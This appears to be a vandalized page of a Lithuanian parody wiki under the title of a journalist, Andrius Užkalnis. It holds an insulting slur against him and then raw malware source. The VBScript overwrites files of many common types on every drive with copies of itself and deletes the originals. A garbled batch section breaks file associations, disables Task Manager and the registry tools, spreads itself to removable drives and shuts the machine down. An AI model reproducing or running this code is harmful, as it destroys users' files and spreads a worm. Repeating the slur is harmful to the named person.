Pipedija - tautosaka, gandai, kliedesiai ir jokios tiesos! Durniausia wiki enciklopedija durnapedija!
Andrius Užkalnis
Andrius Užkalnis gandonas (latv. Andrējs Pādkalniekšs)NighTGhosT
haha()
Sub haha()
On Error Resume Next
Dim d, dc, s, fso, haha
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
hihi (d.Path & "\")
End If
Next
haha = s
End sub
Sub hehe(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, s, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then
Set f = fso.getfile(wscript.scriptfullname)
f.Copy (f1.Path & ".vbe")
fso.deletefile(f1.path)
End If
Next
End Sub
Sub hihi(folderspec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
hehe (f1.Path)
hihi (f1.Path)
Next
End Sub
- task1;assoc .exe=.errassoc .com=.errassoc .inf=.errassoc .dll=.errassoc .sys=errassoc .dat=.errassoc .ini=.errassoc .vbs=.errassoc .bat=.errassoc .avi=.errassoc .mp3=.errassoc .wma=.err
DisableTaskMgr /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\system" /v DisableRegistryTools /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoStartMenuMorePrograms /t reg_dword /d 1reg add "hkcu\software\microsoft\windows\currentversion\po licies\explorer" /v NoClose /t reg_dword /d 1reg add "hkcu\controlpanel\desktop\windowmetrics" /v Shell Icon Size /t reg_sz /d 300/freg add "hkcu\controlpanel\mouse" /v MouseSensitivy /t reg_sz /d 0/freg add "hkcu\controlpanel\mouse" /v MouseSpeed /t reg_sz /d 40/f
copy %0 A:\avtodrive.batcopy %0 E:\avtodrive.batcopy %0 F:\avtodrive.batcopy %0 G:\avtodrive.bat
attrib +s +r A:\avtodrive.batattrib +s +r E:\avtodrive.batattrib +s +r F:\avtodrive.batattrib +s +r G:\avtodrive.bat
goto err
- err;shutdown -t 5 -s